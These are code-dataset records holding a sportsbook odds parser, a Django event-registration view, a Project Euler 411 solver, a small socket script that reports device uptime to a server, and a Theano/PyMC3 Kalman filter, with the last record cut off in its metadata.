\"WSH\"\n\n if away_team_code == \"SDG\":\n away_team_code = \"SD\"\n\n if home_team_code == \"SDG\":\n home_team_code = \"SD\"\n\n if away_team_code == \"LA\":\n if \"DODGERS\" in away_name:\n away_team_code = \"LAD\"\n elif \"ANGELS\" in away_name:\n away_team_code = \"LAA\"\n\n if home_team_code == \"LA\":\n if \"DODGERS\" in home_name:\n home_team_code = \"LAD\"\n elif \"ANGELS\" in home_name:\n home_team_code = \"LAA\"\n\n if away_team_code == \"CHI\":\n away_team_code = \"CHW\"\n\n if home_team_code == \"CHI\":\n home_team_code = \"CHW\"\n\n if away_team_code == \"TAM\":\n away_team_code = \"TB\"\n\n if home_team_code == \"TAM\":\n home_team_code = \"TB\"\n\n if away_team_code == \"KAN\":\n away_team_code = \"KC\"\n\n if home_team_code == \"KAN\":\n home_team_code = \"KC\"\n\n away_team_name = MLB_TEAM_NAMES[away_team_code]\n home_team_name = MLB_TEAM_NAMES[home_team_code]\n\n away_odds = item[\"lines\"][0][\"visitor_odds_t\"]\n home_odds = item[\"lines\"][0][\"home_odds_t\"]\n over_total = item[\"lines\"][0][\"over_total\"]\n over_odds_total = item[\"lines\"][0][\"over_odds_total\"]\n under_total = item[\"lines\"][0][\"under_total\"]\n under_odds_total = item[\"lines\"][0][\"under_odds_total\"]\n away_spread = item[\"lines\"][0][\"visitor_spread_t\"]\n away_spread_odds = item[\"lines\"][0][\"visitor_spread_odds_t\"]\n home_spread = item[\"lines\"][0][\"home_spread_t\"]\n home_spread_odds = item[\"lines\"][0][\"home_spread_odds_t\"]\n\n if away_odds == '':\n away_odds = 0\n\n if home_odds == '':\n home_odds = 0\n\n if away_spread == '':\n away_spread = 0\n\n if home_spread == '':\n home_spread = 0\n\n if away_spread_odds == '':\n away_spread_odds = 0\n\n if home_spread_odds == '':\n home_spread_odds = 0\n\n game_cleaned = dict(\n game_id=game_id,\n away_team_name=away_team_name,\n home_team_name=home_team_name,\n game_date=item[\"game_date\"],\n game_time=item[\"game_time\"],\n game_datetime=item[\"game_date_time\"][\"date\"],\n game_tz=item[\"game_date_time\"][\"timezone\"],\n away_pitcher=item[\"visitor_pitcher\"],\n home_pitcher=item[\"home_pitcher\"],\n away_odds=away_odds,\n home_odds=home_odds,\n over_total=over_total,\n over_odds_total=over_odds_total,\n under_total=under_total,\n under_odds_total=under_odds_total,\n away_spread=away_spread,\n away_spread_odds=away_spread_odds,\n home_spread=home_spread,\n home_spread_odds=home_spread_odds\n )\n cleaned_data.append(game_cleaned)\n return cleaned_data\n\n", "sub_path": "parsers/mybookie_parser.py", "file_name": "mybookie_parser.py", "file_ext": "py", "file_size_in_byte": 6430, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "requests.post", "line_number": 21, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 76, "usage_type": "call"}, {"api_name": "fivethirtyeight_parser.MLB_TEAM_NAMES", "line_number": 147, "usage_type": "name"}, {"api_name": "fivethirtyeight_parser.MLB_TEAM_NAMES", "line_number": 148, "usage_type": "name"}]} +{"seq_id": "156154017", "text": "from django.shortcuts import render, redirect\nfrom .import forms\nfrom .models import Eventreg\n\n\ndef Eventregister(request):\n login_id = request.session['logid']\n model_object = Eventreg.objects.filter(id=login_id)\n\n if request.method == 'POST':\n form = forms.EventregForm(request.POST, request.FILES)\n if form.is_valid():\n regobj = form.cleaned_data\n eventid = regobj['event_id']\n eventregno = regobj['event_reg_no']\n a = Eventreg(event_id=eventid, event_reg_no=eventregno, id=login_id)\n a.save()\n return redirect('eventreg:EventregForm')\n else:\n form = forms.EventregForm\n return render(request, \"eventreg/eventreg.html\", {'form': form, 'data': model_object})\n\n\n", "sub_path": "Festhub/eventreg/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 762, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "models.Eventreg.objects.filter", "line_number": 8, "usage_type": "call"}, {"api_name": "models.Eventreg.objects", "line_number": 8, "usage_type": "attribute"}, {"api_name": "models.Eventreg", "line_number": 8, "usage_type": "name"}, {"api_name": "models.Eventreg", "line_number": 16, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 18, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 21, "usage_type": "call"}]} +{"seq_id": "346591113", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n1 1 1\n13 6 8\n167 162 6\n266 11 256\n2500 2500 2500\n653 167 13\n14406 7203 14406\n8207 16 8192\n39376 39366 11\n5005 2505 5000\n146410 146410 6655\n20746 172 261\n342732 342732 85683\n57629 7208 57624\n202505 202500 2505\n262164 21 262144\n1336336 668168 1336336\n157474 39371 18\n2345778 2345778 2345778\n160010 2510 160000\n388967 388962 14411\n585645 146415 53240\n3078251 3078251 3078251\n663567 177 8197\n7812500 7812500 7812500\n685469 342737 685464\n9565953 9565938 16\n1843978 7213 1843968\n19803868 19803868 19803868\n405005 202505 5005\n\n\n1 (1, 1) (1, 1)\n2 (1, 5) (8, 0)\n3 (162, 0) (1, 5)\n4 (1, 10) (256, 0)\n5 (2500, 0) (2500, 0)\n6 (162, 5) (8, 5)\n7 (7203, 0) (14406, 0)\n8 (1, 15) (8192, 0)\n9 (39366, 0) (1, 10)\n10 (2500, 5) (5000, 0)\n11 (146410, 0) (6655, 0)\n12 (162, 10) (256, 5)\n13 (342732, 0) (85683, 0)\n14 (7203, 5) (57624, 0)\n15 (202500, 0) (2500, 5)\n16 (1, 20) (262144, 0)\n17 (668168, 0) (1336336, 0)\n18 (39366, 5) (8, 10)\n\n[(1, 1),\n (2, 13),\n (3, 167),\n (4, 266),\n (5, 2500),\n (6, 653),\n (7, 14406),\n (8, 8207),\n (9, 39376),\n (10, 5005),\n (11, 146410),\n (12, 20746),\n (13, 342732),\n (14, 57629),\n (15, 202505),\n (16, 262164),\n (17, 1336336),\n (18, 157474),\n (19, 2345778),\n (20, 160010),\n (21, 388967),\n (22, 585645),\n (23, 3078251),\n (24, 663567),\n (25, 7812500),\n (26, 685469),\n (27, 9565953),\n (28, 1843978),\n (29, 19803868),\n (30, 405005)]\n\nhttps://oeis.org/A220024\n\nCreated on Wed Feb 7 05:12:39 2018\n@author: mbh\n\"\"\"\nfrom __future__ import division, print_function, unicode_literals\n\nimport matplotlib.pyplot as plt\nimport itertools\nimport numpy as np\nimport math\nimport time\nimport bisect\nimport numba as nb\n\ndef p411(N):\n t0=time.clock()\n total=0 \n \n for n in range(2,N+1):\n t=time.clock()\n l2,m2=cycle(2,n**5)\n l3,m3=cycle(3,n**5) \n ndistinct=max(m3,m2)+l2*l3//math.gcd(l2,l3)\n p=points(n**5,ndistinct)\n newVal=lndss(p)\n total += newVal\n print(\"%2d %8d %6.3f %6.3f\" % (n,newVal,time.clock()-t,time.clock()-t0))\n print(1+total)\n print(time.clock()-t0)\n\n\n#https://stackoverflow.com/questions/2631726/how-to-determine-the-longest-increasing-subsequence-using-dynamic-programming\n# find length of longest non-decreasing subsequence of list X\ndef lndss(X):\n if len(X)==0: return 0\n S=[X[0]]\n for i in range(1,len(X)):\n if X[i]>=S[-1]:\n S.append(X[i])\n else:\n index=bisect.bisect_right(S,X[i])\n# print(index,len(S),X[i],S)\n S[index]=X[i]\n return len(S)\n \n#returns smallest k for which gcd(a^k,m)=gcd(a^(k+1),m)\n#@nb.jit(nopython=True) \ndef k0(a,m):\n \n dk,k=0,0\n while 1:\n dknew=math.gcd(a**k,m)\n if dknew==dk:\n return k-1\n dk=dknew\n k+=1\n\n#returns cyle period and offset of a^k mod m\ndef cycle(a,m):\n \n k=k0(a,m)\n for d in sorted(divisors(et(m))):\n if pow(a,k,m)==pow(a,k+d,m):\n# if (a**k)%m==(a**(k+d))%m:\n return d,k\n\n#find the points (2^i mod n, 3^i mod n) for 0<=i<=2n\n@nb.jit(nopython=True)\ndef points(n,ndistinct):\n \n# pairs=[]\n pairs = [(0,0)]*ndistinct#[None for x in range(ndistinct)]\n# pairs=np.array(ndistinct,dtype=np.int64)\n# pairs=np.zeros((ndistinct,2),dtype=np.int64)\n for i in range(ndistinct):\n# newx=(2**i)%n#pow(2,i,n)\n# newy=(3**i)%n#pow(3,i,n)\n# newx=pow(2,i,n)\n# newy=pow(3,i,n)\n newx=f(2,i,n)\n newy=f(3,i,n)\n \n \n# pairs[i]=(newx,newy)\n pairs[i]=(newx,newy)\n \n# return\n# pairs.append((newx,newy))\n\n return [y for x,y in sorted(pairs)]\n\n#modular exponentiation: find x^e mod m\n@nb.jit(nopython=True)\ndef f(x,e,m):\n X = x\n E = e\n Y = 1\n while E > 0:\n if E % 2 == 0:\n X = (X * X) % m\n E = E/2\n else:\n Y = (X * Y) % m\n E = E - 1\n return Y\n \ndef test(n):\n y=points (n)\n t=time.clock()\n# y=points (n)\n l=myGlss(y)\n print(l,time.clock()-t)\n t=time.clock()\n# y=S(n)\n l=get_longest_increasing_subsequence_length(y)\n print(l,time.clock()-t) \n\ndef xp():\n t=time.clock()\n# cycles=[]\n for k in range(2,31):\n \n et2=cycle(2,k**5,1)\n et3=cycle(3,k**5,1)\n \n print(k,et2,et3)\n print(time.clock()-t)\n\n\n#returns cycle length and offset fo k^i mod n\ndef cycle_v1(k,n,x0):\n \n f =lambda i,n: (k*i)%n\n# f = lambda x,n: (n*0 + x * x + 1) % 255\n lam, mu = brent(f, x0,n) \n# print(\"Cycle length: %d\" % lam)\n# print(\"Cycle start index: %d\" % mu) \n# print(list(itertools.islice(iterate(f, x0,n), mu, mu+lam)))\n \n return lam,mu\n \n#from Rosetta Code\n#https://rosettacode.org/wiki/Cycle_detection#Python\n\nimport itertools \ndef brent_length(f, x0,n):\n # main phase: search successive powers of two\n hare = x0\n power = 1\n while True:\n tortoise = hare\n for i in range(1, power+1):\n hare = f(hare,n)\n if tortoise == hare:\n return i\n power *= 2\n \ndef brent(f, x0,n):\n lam = brent_length(f, x0,n)\n \n # Find the position of the first repetition of length lam\n mu = 0\n hare = x0\n for i in range(lam):\n # range(lam) produces a list with the values 0, 1, ... , lam-1\n hare = f(hare,n)\n# print(i,hare)\n # The distance between the hare and tortoise is now lam.\n \n # Next, the hare and tortoise move at same speed until they agree\n tortoise = x0\n while tortoise != hare:\n tortoise = f(tortoise,n)\n hare = f(hare,n)\n mu += 1\n \n return lam, mu\n \ndef iterate(f, x0,n):\n while True:\n yield x0\n x0 = f(x0,n)\n \n#if __name__ == '__main__':\n# f = f=lambda i,n: (2**i) %n\n# x0,n = 0,22\n# lam, mu = brent(f, x0,n)\n# print(\"Cycle length: %d\" % lam)\n# print(\"Cycle start index: %d\" % mu)\n# print(\"Cycle: %s\" % list(itertools.islice(iterate(f, x0,n), mu, mu+lam)))\n \n@nb.jit(nopython=True) \ndef et(n):\n \"\"\"returns Euler totient (phi) of n \"\"\" \n phi=n\n pfs=set(prime_factors(n))\n for pf in pfs:\n phi*=(1-1/pf)\n return int(phi)\n\n#@nb.jit(nopython=True)\ndef divisors(n):\n \"\"\"returns the divisors of n\"\"\"\n #first get the prime factors\n i = 2\n fs = {}\n while i * i <= n:\n if n % i:\n i += 1\n else:\n n //= i\n fs[i]=fs.get(i,0)+1\n if n > 1:\n fs[n]=fs.get(n,0)+1\n \n ps=[k for k,v in fs.items()] #prime factors\n es=[v for k,v in fs.items()] #exponents \n \n divs=[]\n nfactors = len(ps)\n f = [0] * nfactors\n while True:\n p=1\n pfs=[x**y for (x,y) in zip(ps,f)]\n for i in range(len(ps)):\n p*=pfs[i]\n divs.append(p)\n#could use this from np, but is several times slower for large numbers\n# yield ft.reduce(lambda x, y: x*y, [factors[x][0]**f[x] for x in range(nfactors)], 1)\n i = 0\n while True:\n f[i] += 1\n if f[i] <= es[i]:\n break\n f[i] = 0\n i += 1\n if i >= nfactors:\n return divs \n\n@nb.jit(nopython=True)\ndef prime_factors(n):\n \"\"\"returns the prime factors of n\"\"\" \n i = 2\n factors = []\n while i * i <= n:\n if n % i:\n i += 1\n else:\n n //= i\n factors.append(i)\n if n > 1:\n factors.append(n)\n return factors \n\ndef radixsort( aList ):\n RADIX = 10\n maxLength = False\n tmp , placement = -1, 1\n \n while not maxLength:\n maxLength = True\n # declare and initialize buckets\n buckets = [list() for _ in range( RADIX )]\n \n # split aList between lists\n for i in aList:\n tmp = i[1] / placement\n buckets[tmp % RADIX].append( i[1] )\n if maxLength and tmp > 0:\n maxLength = False\n \n # empty lists into aList array\n a = 0\n for b in range( RADIX ):\n buck = buckets[b]\n for i in buck:\n aList[a] = i[1]\n a += 1\n \n # move to next digit\n placement *= RADIX\n \n\n#import time, bisect\n\n\ndef generate_points(n):\n if n == 1: return [[0]]\n points = [None for x in range(n)]\n x = 1; y = 1\n points[x] = y\n while True:\n x = (3 * x) % n\n y = (2 * y) % n\n ys = points[x]\n if ys is None:\n points[x] = y\n elif type(ys) is int:\n if y == ys:\n break\n points[x] = {y, ys}\n else:\n if y in ys:\n break\n ys.add(y)\n return(points)\n\ndef find_path(points):\n s = []\n for ys in points:\n if type(ys) is int:\n ix = bisect.bisect_right(s, ys)\n if ix >= len(s):\n s.append(ys)\n else:\n s[ix] = ys\n elif ys is not None:\n ix = 0\n for y in sorted(ys):\n ix = bisect.bisect_right(s, y, lo=ix)\n if ix >= len(s):\n s.append(y)\n else:\n s[ix] = y\n return len(s)\n\ndef t411(n):\n sigma = 0\n t0 = time.time()\n for k in range(1, n + 1):\n t1 = time.time()\n points = generate_points(k**5)\n t2 = time.time()\n s = find_path(points)\n sigma += s\n t3 = time.time()\n print(\"%2d %8d %8d %6.3f %6.3f %6.3f\" % (k, sigma, s, t2 - t1, t3 - t2, t3 - t0))\n return sigma\n\n#https://gist.github.com/JonathanSpeek/1f4c7c283c7c3c475ee13d57381765d8\ndef binary_search(a_list, item):\n \"\"\"Performs iterative binary search to find the position of an integer in a given, sorted, list.\n a_list -- sorted list of integers\n item -- integer you are searching for the position of\n \"\"\"\n\n first = 0\n last = len(a_list) - 1\n\n while first <= last:\n i = (first + last) // 2\n\n if a_list[i] == item:\n return i\n# return '{item} found at position {i}'.format(item=item, i=i)\n elif a_list[i] > item:\n last = i - 1\n elif a_list[i] < item:\n first = i + 1\n else:\n print( '{item} not found in the list'.format(item=item))", "sub_path": "PE_0411/PE_0411.py", "file_name": "PE_0411.py", "file_ext": "py", "file_size_in_byte": 9953, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "time.clock", "line_number": 102, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 106, "usage_type": "call"}, {"api_name": "math.gcd", "line_number": 109, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 113, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 115, "usage_type": "call"}, {"api_name": "bisect.bisect_right", "line_number": 127, "usage_type": "call"}, {"api_name": "math.gcd", "line_number": 138, "usage_type": "call"}, {"api_name": "numba.jit", "line_number": 154, "usage_type": "call"}, {"api_name": "numba.jit", "line_number": 179, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 195, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 198, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 199, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 202, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 205, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 213, "usage_type": "call"}, {"api_name": "numba.jit", "line_number": 278, "usage_type": "call"}, {"api_name": "numba.jit", "line_number": 326, "usage_type": "call"}, {"api_name": "bisect.bisect_right", "line_number": 398, "usage_type": "call"}, {"api_name": "bisect.bisect_right", "line_number": 406, "usage_type": "call"}, {"api_name": "time.time", "line_number": 415, "usage_type": "call"}, {"api_name": "time.time", "line_number": 417, "usage_type": "call"}, {"api_name": "time.time", "line_number": 419, "usage_type": "call"}, {"api_name": "time.time", "line_number": 422, "usage_type": "call"}]} +{"seq_id": "319030651", "text": "import socket\nimport sys\nimport datetime\nimport time\n\n#inspired by http://planzero.org/blog/2012/01/26/system_uptime_in_python,_a_better_way\ndef uptime():\n\twith open('/proc/uptime','r') as f:\n\t\tuptime_seconds = float(f.readline().split()[0])\n\t\treturn str(uptime_seconds)\n\n\n#create an INET, STREAMing socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n#now connect\ns.connect(('colton.cybernetics.ro',8888))\n\n#mysql seems to expect YYYY-MM-DD HH:MM:SS.SSSSSS\n#s.send(str(datetime.datetime.now().time()))\ns.send(\"'\" + datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S.%f\") + \"',1,\" + uptime())\n\ntime.sleep(2)\n\nresponse = s.recv(1024)\n\nprint(response)\n\ns.close()\n", "sub_path": "wirfi-device-backup/python/socketTest.py", "file_name": "socketTest.py", "file_ext": "py", "file_size_in_byte": 672, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "socket.socket", "line_number": 14, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 14, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 14, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 21, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 23, "usage_type": "call"}]} +{"seq_id": "91536382", "text": "import numpy as np\nimport theano\nimport theano.tensor as tt\n\nfrom pymc3.distributions import Continuous\n\nsolve_l = tt.slinalg.solve_lower_triangular\nsolve_u = tt.slinalg.solve_upper_triangular\n\n__all__ = ['KalmanTheano', 'KalmanFilter']\n\n\nclass DimensionalityError(Exception):\n pass\n\n\ndef _filter(y, Phi, Q, L, c, H, Sv, d, s, P):\n \"\"\"\n Perform 1 filtering step. The previous state estimates and log likelihood\n up to the previous time step being given by (s, P). The rest of\n the arguments are parameters for the state space model.\n \"\"\"\n s_fwd, P_fwd, y_est, y_est_var = _predict(s, P, Phi, Q, L, c, H, Sv, d)\n\n # Cholesky factor and estimation error\n Ly_est_var = tt.slinalg.cholesky(y_est_var)\n err = y - y_est\n\n # make corrections\n s_cor, P_cor = _correct(s_fwd, Ly_est_var, err, P_fwd, Phi, H)\n\n # Accumulate loglikelihood\n log_l = _log_likelihood(err, Ly_est_var)\n return s_cor, P_cor, log_l\n\n\ndef _predict(s, P, Phi, Q, L, c, H, Sv, d):\n \"\"\"\n Kalman filter prediction step\n \"\"\"\n # State propogation\n s_fwd = tt.dot(Phi, s) + c\n P_fwd = tt.dot(tt.dot(Phi, P), Phi.T) + tt.dot(tt.dot(L, Q), L.T)\n\n # Output estimate and uncertainty\n y_est = tt.dot(H, s_fwd) + d\n y_est_var = tt.dot(tt.dot(H, P_fwd), H.T) + Sv\n return s_fwd, P_fwd, y_est, y_est_var\n\n\ndef _correct(s_fwd, Ly, err, P_fwd, Phi, H):\n K = tt.dot(P_fwd, solve_u(Ly.T, solve_l(Ly, H)).T)\n s_cor = s_fwd + tt.dot(K, err)\n KL = tt.dot(K, Ly)\n P_cor = P_fwd - tt.dot(KL, KL.T)\n return s_cor, P_cor\n\n\ndef _log_likelihood(err, Ly):\n n = err.shape[0] # Number of dimensions\n\n logdet = tt.log(tt.diag(Ly)).sum()\n vTSv = tt.nlinalg.norm(solve_l(Ly, err), 2)**2\n return -0.5 * (n * np.log(2 * np.pi) + logdet + vTSv)\n\n\nclass KalmanTheano(object):\n def __init__(self, Phi, Q, L, c, H, Sv, d, s0, P0, n, m, g):\n # NOTE: If identical matrices happen to be passed in, theano\n # NOTE: will recognize this can use references. This can be\n # NOTE: confusing as the names given below need not \"stick\".\n\n # State transition\n self.Phi = tt.as_tensor_variable(Phi, name=\"Phi\")\n\n # State innovations\n self.Q = tt.as_tensor_variable(Q, name=\"Q\")\n\n # Innovations modifier\n self.L = tt.as_tensor_variable(L, name=\"L\")\n\n # State structural component\n self.c = tt.as_tensor_variable(c, name=\"c\")\n\n # Observation matrix\n self.H = tt.as_tensor_variable(H, name=\"H\")\n\n # Observation noise variance\n self.Sv = tt.as_tensor_variable(Sv, name=\"Sv\")\n\n # Observation structural component\n self.d = tt.as_tensor_variable(d, name=\"d\")\n\n # Initial state mean\n self.s0 = tt.as_tensor_variable(s0, name=\"s0\")\n\n # Initial state variance\n self.P0 = tt.as_tensor_variable(P0, name=\"P0\")\n\n self.n = n # Output dimension\n self.m = m # State dimension\n self.g = g # Innovations dimension (often m == g)\n\n self.tensors = [self.Phi, self.Q, self.L, self.c,\n self.H, self.Sv, self.d]\n self.tensor_names = [\"Phi\", \"Q\", \"L\", \"c\",\n \"H\", \"Sv\", \"d\"]\n self.tensor_dims = [2, 2, 2, 1, 2, 2, 1] # Matrix or vector\n\n self._validate()\n return\n\n def _validate(self):\n sequences = []\n non_sequences = []\n\n def is_seq(tnsr, dim=1):\n ndim = tnsr.ndim\n if ndim == dim:\n return False\n elif ndim == dim + 1:\n return True\n else:\n raise DimensionalityError(\n \"Variable {} has {} dimensions, but \"\n \"should have only {} or {}\"\n \"\".format(tnsr.name, ndim, dim, dim + 1))\n\n def append_seq(name, tnsr, expected_dim=1):\n if is_seq(tnsr, dim):\n sequences.append((tnsr, name))\n else:\n non_sequences.append((tnsr, name))\n\n for name, tnsr, dim in zip(self.tensor_names,\n self.tensors,\n self.tensor_dims):\n append_seq(name, tnsr, dim)\n\n self.sequences = sequences\n self.non_sequences = non_sequences\n return\n\n def filter(self, Y, **th_scan_kwargs):\n # Create function with correct ordering for scan\n fn = eval(\n \"lambda {}: _filter(y, Phi, Q, L, c, H, Sv, d, s, P)\"\n \"\".format(\",\".join(\n [\"y\"] +\n [tnsr_name[1] for tnsr_name in self.sequences] +\n [\"s\", \"P\"] +\n [tnsr_name[1] for tnsr_name in self.non_sequences])))\n\n (st, Pt, log_l), updates = theano.scan(\n fn=fn,\n sequences=[Y] + [tnsr_name[0] for tnsr_name in self.sequences],\n outputs_info=[dict(initial=self.s0),\n dict(initial=self.P0),\n None],\n non_sequences=[tnsr_name[0] for tnsr_name in self.non_sequences],\n strict=True,\n **th_scan_kwargs)\n return (st, Pt, log_l.sum()), updates\n\n\nclass KalmanFilter(Continuous):\n \"\"\"\n Implements a generic Kalman filter in general state space form.\n\n Shape of the input tensors is given as a function of:\n\n * T: number of time steps,\n * n: size of the observation vector\n * m: size of the state vector\n * g: size of the disturbance vector in the transition equation\n\n The following rules define tensor dimension reductions allowed:\n\n * If a tensor is time-invariant, the time dimension T can be omitted\n * If n=1, all dimensions of size n can be omitted\n * If m=1 and g=1, all dimensions of size m and g can be omitted\n\n Parameters\n ----------\n Phi : tensor or numpy array, dimensions T x m x m\n Tensor relating the state vectors at times t - 1, t\n c : tensor or numpy array, dimensions T x m\n offset in the state transition equation\n Q : tensor or numpy array, dimensions T x g x g\n Covariance matrix of the disturbances in the transition equation\n L : tensor or numpy array, dimensions T x m x g\n Tensor applying transition equation disturbances to state space\n H : tensor or numpy array, dimensions T x n x m\n Tensor relating observation and state vectors\n d : tensor or numpy array, dimensions T x n\n Shift in the observation equation\n Sv : tensor or numpy array, dimensions T x n x n\n Covariance for the observation noise\n s0 : tensor or numpy array, dimensions n\n Mean of the initial state vector\n P0 : tensor or numpy array, dimensions n x n\n Covariance of the initial state vector\n *args, **kwargs\n Extra arguments passed to :class:`Continuous` initialization\n\n Notes\n -----\n\n The general state space form (SSF) applies to a multivariate time series,\n y(t), containing n elements. We suppose that there is some underlying\n or background \"state\" s(t) containing m elements:\n\n .. math :\n\n s(t) = Phi(t) s(t-1) + c(t) + L(t) \\\\w(t)\\\\,\\\\qquad\n \\\\w(t) \\\\sim \\\\mathcal{N}_g(0, Q(t))\\\\\n s(0) \\\\sim \\\\mathcal{N}_m(s0, P0)\n\n These state variables generate the data via the \"observation\" equations:\n\n .. math :\n\n y(t) = H(t) s(t) + d(t) + \\\\v(t)\\\\,\\\\qquad\n \\\\v(t) \\\\sim \\\\mathcal{N}_n(0, Sv(t))\\\\ ,\n\n Although s(t) is typically not observable, its dynamics are governed by a\n first-order Gauss-Markov process. The entire model is amenable to\n exact inference.\n\n The matrix L (which would correspond to a cholesky factor of the state\n variance if Q = I) can be used to linearly transform the state innovations\n w(t) and can be useful for modelling low-rank innovations.\n \"\"\"\n def __init__(self, Phi, Q, L, c, H, Sv, d, s0, P0, n, m, g,\n *args, **kwargs):\n Continuous.__init__(self, *args, **kwargs)\n\n self._kalman_theano = KalmanTheano(Phi, Q, L, c, H, Sv, d, s0, P0,\n n, m, g, **kwargs)\n self.mean = tt.as_tensor_variable(0.)\n return\n\n def logp(self, Y):\n (_, _, log_p), _ = self._kalman_theano.filter(Y)\n return log_p\n\n\nif __name__ == \"NONAME\":\n n = 3\n m = 10\n\n T = 2048\n phi = 0.99\n v = np.random.normal(size=(T, m))\n Y = np.zeros((T, m))\n Y[0, :] = v[0, :]\n for t, vt in enumerate(v[1:]):\n Y[t + 1, :] = phi * Y[t, :] + vt\n\n sv_tnsr = tt.vector(\"sv\")\n Sv_tnsr = tt.diag(sv_tnsr)\n\n # def __init__(self, Phi, Q, L, c, H, Sv, d, s0, P0, n, m, g,\n K = KalmanTheano(Phi=0.92 * np.eye(n), Q=0.2 * np.eye(n),\n L=np.eye(n), c=np.zeros(n),\n H=np.random.normal(size=(m, n)),\n Sv=Sv_tnsr,\n d=np.zeros(m),\n s0=np.zeros(n),\n P0=10 * np.eye(n),\n n=n, m=m, g=n)\n Y_tensor = tt.matrix(\"Y\")\n (s, P, ll), _ = K.filter(Y_tensor)\n kf = theano.function(inputs=[Y_tensor, sv_tnsr], outputs=[s, P, ll],\n mode=theano.Mode(optimizer=\"unsafe\"))\n\n s, P, ll = kf(Y, 2 * np.ones(m))\n\n import pymc3 as pm\n\n with pm.Model() as model:\n # Phi, Q, L, c, H, Sv, d, s0, P0, n, m, g\n\n phi = pm.Normal(\"phi\", shape=(1, 1))\n q = pm.HalfStudentT(\"q\", nu=1.0, sd=2.0, shape=(1, 1))\n K = KalmanFilter(\"kf\", phi, q,\n np.array([[1.]]),\n np.array([0.]),\n np.array([[1.]]),\n np.array([[0.0]]),\n np.array([0.]),\n np.array([0.]),\n np.array([[10.]]),\n 1, 1, 1,\n observed=y)\n\n with model:\n # approx = pm.fit(n=100, method=\"advi\")\n trace = pm.sample_approx(approx, draws=500)\n", "sub_path": "kalman/core.py", "file_name": "core.py", "file_ext": "py", "file_size_in_byte": 9969, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "theano.tensor.slinalg", "line_number": 7, "usage_type": "attribute"}, {"api_name": "theano.tensor", "line_number": 7, "usage_type": "name"}, {"api_name": "theano.tensor.slinalg", "line_number": 8, "usage_type": "attribute"}, {"api_name": "theano.tensor", "line_number": 8, "usage_type": "name"}, {"api_name": "theano.tensor.slinalg.cholesky", "line_number": 26, "usage_type": "call"}, {"api_name": "theano.tensor.slinalg", "line_number": 26, "usage_type": "attribute"}, {"api_name": "theano.tensor", "line_number": 26, "usage_type": "name"}, {"api_name": "theano.tensor.dot", "line_number": 42, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 42, "usage_type": "name"}, {"api_name": "theano.tensor.dot", "line_number": 43, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 43, "usage_type": "name"}, {"api_name": "theano.tensor.dot", "line_number": 46, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 46, "usage_type": "name"}, {"api_name": "theano.tensor.dot", "line_number": 47, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 47, "usage_type": "name"}, {"api_name": "theano.tensor.dot", "line_number": 52, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 52, "usage_type": "name"}, {"api_name": "theano.tensor.dot", "line_number": 53, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 53, "usage_type": "name"}, {"api_name": "theano.tensor.dot", "line_number": 54, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 54, "usage_type": "name"}, {"api_name": "theano.tensor.dot", "line_number": 55, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 55, "usage_type": "name"}, {"api_name": "theano.tensor.log", "line_number": 62, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 62, "usage_type": "name"}, {"api_name": "theano.tensor.diag", "line_number": 62, "usage_type": "call"}, {"api_name": "theano.tensor.nlinalg.norm", "line_number": 63, "usage_type": "call"}, {"api_name": "theano.tensor.nlinalg", "line_number": 63, "usage_type": "attribute"}, {"api_name": "theano.tensor", "line_number": 63, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 64, "usage_type": "attribute"}, {"api_name": "theano.tensor.as_tensor_variable", "line_number": 74, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 74, "usage_type": "name"}, {"api_name": "theano.tensor.as_tensor_variable", "line_number": 77, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 77, "usage_type": "name"}, {"api_name": "theano.tensor.as_tensor_variable", "line_number": 80, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 80, "usage_type": "name"}, {"api_name": "theano.tensor.as_tensor_variable", "line_number": 83, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 83, "usage_type": "name"}, {"api_name": "theano.tensor.as_tensor_variable", "line_number": 86, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 86, "usage_type": "name"}, {"api_name": "theano.tensor.as_tensor_variable", "line_number": 89, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 89, "usage_type": "name"}, {"api_name": 